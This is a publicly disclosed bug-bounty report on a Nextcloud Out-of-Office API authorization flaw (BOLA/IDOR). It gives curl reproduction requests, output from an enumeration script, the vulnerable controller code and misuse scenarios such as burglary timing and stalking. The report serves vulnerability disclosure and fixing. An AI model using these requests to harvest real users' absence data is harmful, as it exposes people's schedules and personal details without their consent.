HexBrain

Nextcloud · Report #3382343

BOLA/IDOR in Out-of-Office API allows any authenticated user to read other users' absence data

Informativestatus
mediumseverity
40upvotes
14 Apr 2026disclosed

How it was found

Summary

The Out-of-Office (OOO) API endpoints at /ocs/v2.php/apps/dav/api/v1/outOfOffice/{userId} and /ocs/v2.php/apps/dav/api/v1/outOfOffice/{userId}/now suffer from a Broken Object Level Authorization (BOLA) vulnerability. Any authenticated user can retrieve the out-of-office data of any other user by manipulating the userId path parameter, without any ownership validation.

The vulnerable endpoints are marked with #[NoAdminRequired], meaning any logged-in user can access them. However, the controller (OutOfOfficeController.php) does not verify that the authenticated user is requesting their own data. This allows unauthorized access to sensitive personal information including:

  • Vacation start and end dates
  • Personal absence messages (which may contain phone numbers, travel destinations, health information)
  • Replacement contact user IDs and display names
  • Real-time absence status

This violates user privacy expectations and exposes sensitive data that could be used for social engineering, physical security threats (e.g., knowing when someone's home is empty), or corporate intelligence gathering.


Steps To Reproduce

Prerequisites

  • Nextcloud server with version 32.0.0.13 (tested and confirmed vulnerable)
  • Two user accounts: "bob" (attacker) and "alice" (victim)
  • Alice has configured out-of-office data

Reproduction Steps

Step 1: Create test environment

Set up a Nextcloud 32.0.0 instance with at least two users:

# Create users via OCC command
export OC_PASS=alice_password_123
docker exec -e OC_PASS -u www-data nextcloud-app php occ user:add --password-from-env --display-name="Alice Johnson" alice

export OC_PASS=bob_password_123
docker exec -e OC_PASS -u www-data nextcloud-app php occ user:add --password-from-env --display-name="Bob Attacker" bob

Step 2: Generate app passwords for testing

# Generate token for Alice (victim)
export NC_PASS=alice_password_123
docker exec -e NC_PASS -u www-data nextcloud-app php occ user:add-app-password alice --password-from-env

# Output example: 8m3Ea371mGIv21uxXjZfyJCKMxHw3pq7KGxNXiRoGgESGcDEqRfaGMAmplV8HvweKAgZ82CS

# Generate token for Bob (attacker)
export NC_PASS=bob_password_123
docker exec -e NC_PASS -u www-data nextcloud-app php occ user:add-app-password bob --password-from-env

# Output example: nmKXt1JUaq6fyZtHW6JRTX5N1juQRIVPFpOxtsLYjRzzSbDBWmK5kajsSNDO1ptVcmmb30Jv

Step 3: Configure Alice's out-of-office data

Using Alice's token, set her out-of-office with sensitive information:

curl -X POST "http://localhost:8088/ocs/v2.php/apps/dav/api/v1/outOfOffice/alice" \
  -H "Authorization: Bearer 8m3Ea371mGIv21uxXjZfyJCKMxHw3pq7KGxNXiRoGgESGcDEqRfaGMAmplV8HvweKAgZ82CS" \
  -H "OCS-APIRequest: true" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "firstDay=2025-12-20" \
  -d "lastDay=2026-01-05" \
  -d "status=On vacation" \
  -d "message=Away on family vacation in Aspen. Cell: 1-555-0123."

# Response: HTTP 200 OK - Data configured successfully

Step 4: Exploit the BOLA vulnerability

As user "bob", request alice's out-of-office data using Bob's token:

curl -s "http://localhost:8088/ocs/v2.php/apps/dav/api/v1/outOfOffice/alice" \
  -H "Authorization: Bearer nmKXt1JUaq6fyZtHW6JRTX5N1juQRIVPFpOxtsLYjRzzSbDBWmK5kajsSNDO1ptVcmmb30Jv" \
  -H "OCS-APIRequest: true"

Expected behavior (secure): HTTP 403 Forbidden - bob should not be able to access alice's data

Actual behavior (vulnerable): HTTP 200 OK with full OOO data:

{
  "ocs": {
    "meta": {
      "status": "ok",
      "statuscode": 200,
      "message": "OK"
    },
    "data": {
      "id": 1,
      "userId": "alice",
      "firstDay": "2025-12-20",
      "lastDay": "2026-01-05",
      "status": "On vacation",
      "message": "Away on family vacation in Aspen. Cell: 1-555-0123.",
      "replacementUserId": "",
      "replacementUserDisplayName": ""
    }
  }
}

VULNERABILITY CONFIRMED: Bob successfully accessed Alice's private out-of-office data including:

  • Vacation dates (December 20, 2025 - January 5, 2026)
  • Travel destination (Aspen)
  • Personal phone number (1-555-0123)
  • 17-day absence period

Step 5: Verify real-time status endpoint also vulnerable

curl -s "http://localhost:8088/ocs/v2.php/apps/dav/api/v1/outOfOffice/alice/now" \
  -H "Authorization: Bearer nmKXt1JUaq6fyZtHW6JRTX5N1juQRIVPFpOxtsLYjRzzSbDBWmK5kajsSNDO1ptVcmmb30Jv" \
  -H "OCS-APIRequest: true"

Returns alice's current absence status without authorization check.

Step 6: Mass enumeration demonstration

Automated Python script successfully enumerated multiple users:

# Using the provided exploit_bola.py script
uv run python exploit_bola.py

# Output:
# ============================================================
# Nextcloud Out-of-Office BOLA Exploit
# ============================================================
# [*] Starting enumeration of 5 users...
# [*] Checking: admin... ❌ No data
# [*] Checking: alice... ✅ OUT OF OFFICE FOUND
#     First Day: 2025-12-20
#     Last Day: 2026-01-05
#     Message: Away on family vacation in Aspen. Cell: 1-555-0123.
# [*] Checking: bob... ❌ No data
# [*] Checking: charlie... ❌ No data
# [*] Checking: dave... ❌ No data
#
# [+] Extracted OOO data for 1 users
# [+] Results saved to: ooo_leak.json

Exported Data (ooo_leak.json):

{
  "alice": {
    "id": 1,
    "userId": "alice",
    "firstDay": "2025-12-20",
    "lastDay": "2026-01-05",
    "status": "On vacation",
    "message": "Away on family vacation in Aspen. Cell: 1-555-0123.",
    "replacementUserId": "",
    "replacementUserDisplayName": ""
  }
}

This demonstrates successful mass enumeration and data exfiltration capability.


Supporting Material/References

Code References

Vulnerable Controller: apps/dav/lib/Controller/OutOfOfficeController.php

Lines 79-100 (getOutOfOffice method):

#[NoAdminRequired]
#[ApiRoute(verb: 'GET', url: '/api/v1/outOfOffice/{userId}')]
public function getOutOfOffice(string $userId): DataResponse {
    try {
        // ⚠️ VULNERABILITY: No ownership validation
        // Missing check: if ($this->userId !== $userId) { return new DataResponse([], Http::STATUS_FORBIDDEN); }

        $data = $this->absenceService->getAbsence($userId);

        if ($data === null) {
            return new DataResponse([], Http::STATUS_NOT_FOUND);
        }
    } catch (DoesNotExistException) {
        return new DataResponse([], Http::STATUS_NOT_FOUND);
    }

    return new DataResponse([
        'id' => $data->getId(),
        'userId' => $data->getUserId(),
        'firstDay' => $data->getFirstDay(),
        'lastDay' => $data->getLastDay(),
        'status' => $data->getStatus(),
        'message' => $data->getMessage(),  // ⚠️ May contain sensitive personal information
        'replacementUserId' => $data->getReplacementUserId(),
        'replacementUserDisplayName' => $data->getReplacementUserDisplayName(),
    ]);
}

Lines 52-68 (getCurrentOutOfOfficeData method):

#[NoAdminRequired]
#[ApiRoute(verb: 'GET', url: '/api/v1/outOfOffice/{userId}/now')]
public function getCurrentOutOfOfficeData(string $userId): DataResponse {
    $user = $this->userManager->get($userId);

    if ($user === null) {
        return new DataResponse([], Http::STATUS_NOT_FOUND);
    }

    try {
        // ⚠️ VULNERABILITY: No ownership validation
        $data = $this->absenceService->getCurrentAbsence($user);

        if ($data === null) {
            return new DataResponse([], Http::STATUS_NOT_FOUND);
        }
    } catch (DoesNotExistException) {
        return new DataResponse([], Http::STATUS_NOT_FOUND);
    }

    return new DataResponse($data->jsonSerialize());
}

Route Definitions: apps/dav/appinfo/routes.php (lines 12-18)

Comparison with Secure Endpoint:

For reference, the setOutOfOffice method (lines 117-168) correctly validates ownership:

#[NoAdminRequired]
#[ApiRoute(verb: 'POST', url: '/api/v1/outOfOffice')]
public function setOutOfOffice(...): DataResponse {
    // ✅ SECURE: Gets current user from session
    $user = $this->userSession?->getUser();

    if ($user === null) {
        return new DataResponse([], Http::STATUS_UNAUTHORIZED);
    }

    // Only operates on authenticated user's own data
    $data = $this->absenceService->createOrUpdateAbsence($user, ...);
    return new DataResponse($data->jsonSerialize());
}

The GET endpoints should follow the same pattern.

Lab Environment

I have created and tested a complete Docker-based lab environment:

  • Location: Attached testing_lab_and_guides.zip
  • Platform: Tested on macOS (Apple Silicon) with Docker Desktop
  • Nextcloud Version: 32.0.0.13 (confirmed vulnerable)
  • Database: MariaDB 11.4
  • Setup time: ~10 minutes
  • Status: ✅ Vulnerability confirmed in live testing

Impact

Security Impact

An attacker with any authenticated user account can:

  1. Enumerate all users' out-of-office data across the entire Nextcloud instance

  2. Access sensitive personal information including:

    • Exact vacation dates (when homes are empty)
    • Personal contact information (phone numbers, alternate emails)
    • Travel destinations and plans
    • Medical or family emergency details
    • Internal replacement contact chains
  3. Monitor real-time absence status to know when specific users are currently unavailable

Real-World Attack Scenarios

Scenario 1: Physical Security Threat (Home Burglary)

Likelihood: MEDIUM-HIGH

  • Attacker is a disgruntled employee or external threat with compromised credentials
  • Enumerates OOO data for executives and high-value employees
  • Discovers: "CEO away Dec 24 - Jan 7, family vacation in Europe"
  • Cross-references with public information (LinkedIn, company website) to identify home address
  • Plans burglary during confirmed absence period
  • Impact: Property theft, physical security breach

Scenario 2: Social Engineering Amplification

Likelihood: HIGH

  • Attacker discovers: "Alice on maternity leave until March. Contact HR for urgent matters."
  • Uses this context to call HR: "Hi, this is Alice's insurance provider. Need to verify her coverage for the baby..."
  • OOO context provides legitimacy and reduces suspicion
  • Impact: Identity theft, PII disclosure, insurance fraud

Scenario 3: Corporate Espionage

Likelihood: MEDIUM

  • Competitor creates account via public registration (if enabled)
  • Enumerates OOO for entire R&D department
  • Discovers: "All engineers away Oct 15-20 - attending conference"
  • Identifies the conference (probably TechCrunch Disrupt)
  • Sends targeted phishing to replacement contacts about "urgent security patch"
  • Impact: Intellectual property theft, data breach, competitive disadvantage

Scenario 4: Stalking / Harassment

Likelihood: MEDIUM

  • Attacker has personal motivation to track victim
  • Continuously monitors victim's OOO status
  • Tracks travel patterns: "Every Friday afternoon - yoga retreat", "Vacation in Bali Nov 1-14"
  • Uses information for physical stalking or harassment
  • Impact: Personal safety threat, restraining order violations, psychological harm

Scenario 5: Insider Threat Intelligence

Likelihood: HIGH

  • Low-privilege employee wants to understand organizational dynamics
  • Enumerates management team's OOO patterns
  • Identifies optimal times for unauthorized activities (when supervisors are absent)
  • Maps internal escalation chains via replacement contact fields
  • Impact: Internal security circumvention, privilege escalation planning

Privacy & Compliance Impact

GDPR (European Union / EEA)

This vulnerability constitutes a personal data breach under GDPR Article 4(12) - unauthorized disclosure of personal data.

Article 32 - Security of Processing:

  • Lack of proper authorization controls constitutes a failure to implement appropriate technical measures
  • Organizations must notify supervisory authorities within 72 hours of becoming aware (Article 33)
  • Subject to administrative fines under Article 83

Article 9 - Special Categories of Personal Data (Conditional):

  • OOO messages may contain special-category data (health, family status)
  • Examples: "Medical leave for surgery", "Maternity leave", "Family emergency"
  • If special-category data is processed without proper safeguards, Article 83(5) penalties apply

Consequences:

  • Breach notification to supervisory authority required
  • Potential notification to affected data subjects
  • Administrative fines (tiered based on infringement severity)
  • Regulatory scrutiny and reputational damage

CCPA/CPRA (California)

Government Enforcement:

  • Unauthorized disclosure of personal information without proper access controls
  • California Attorney General or Privacy Protection Agency may seek civil penalties
  • Per-violation fines (differentiated between unintentional and intentional violations)

Private Right of Action (Limited):

  • Consumer lawsuits apply only for breaches of specific data elements defined in Cal. Civ. Code § 1798.81.5(d)
  • Examples: login credentials, SSN, medical/health-insurance information
  • Generic OOO data (vacation dates, phone numbers) typically does not trigger private right of action
  • Organizations should assess whether exposed data meets statutory thresholds

HIPAA (Healthcare - Conditional)

Applicability:

  • Applies only to HIPAA-covered entities (healthcare providers, plans) and business associates
  • OOO messages become Protected Health Information (PHI) only when created/held by covered entities
  • Many corporate Nextcloud deployments are not HIPAA-regulated

If Applicable:

  • Examples of PHI in OOO: "Out for chemotherapy treatment", "Medical procedure recovery"
  • Tiered civil monetary penalties (per violation, inflation-adjusted annually)
  • Potential HHS Office for Civil Rights investigation
  • Breach notification requirements under HITECH Act

Business Impact

  1. Workforce Availability Intelligence: Competitors can track key personnel availability
  2. Executive Vulnerability Mapping: Identify high-value targets and their schedules
  3. Internal Contact Chain Discovery: Map organizational structure via replacement users
  4. Operational Security Failure: Enemies know when specific users are unavailable
  5. Trust Violation: Users expect privacy in personal absence information

Technical Impact Summary

Impact CategorySeverityDescription
ConfidentialityHIGHComplete disclosure of target user's OOO data
IntegrityNoneNo data modification through this vulnerability
AvailabilityNoneNo service disruption
PrivacyCRITICALPersonal information, travel plans, contact details exposed
ComplianceHIGHGDPR breach notification requirements, potential regulatory fines
Physical SecurityMEDIUMHome burglary intelligence via absence dates

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original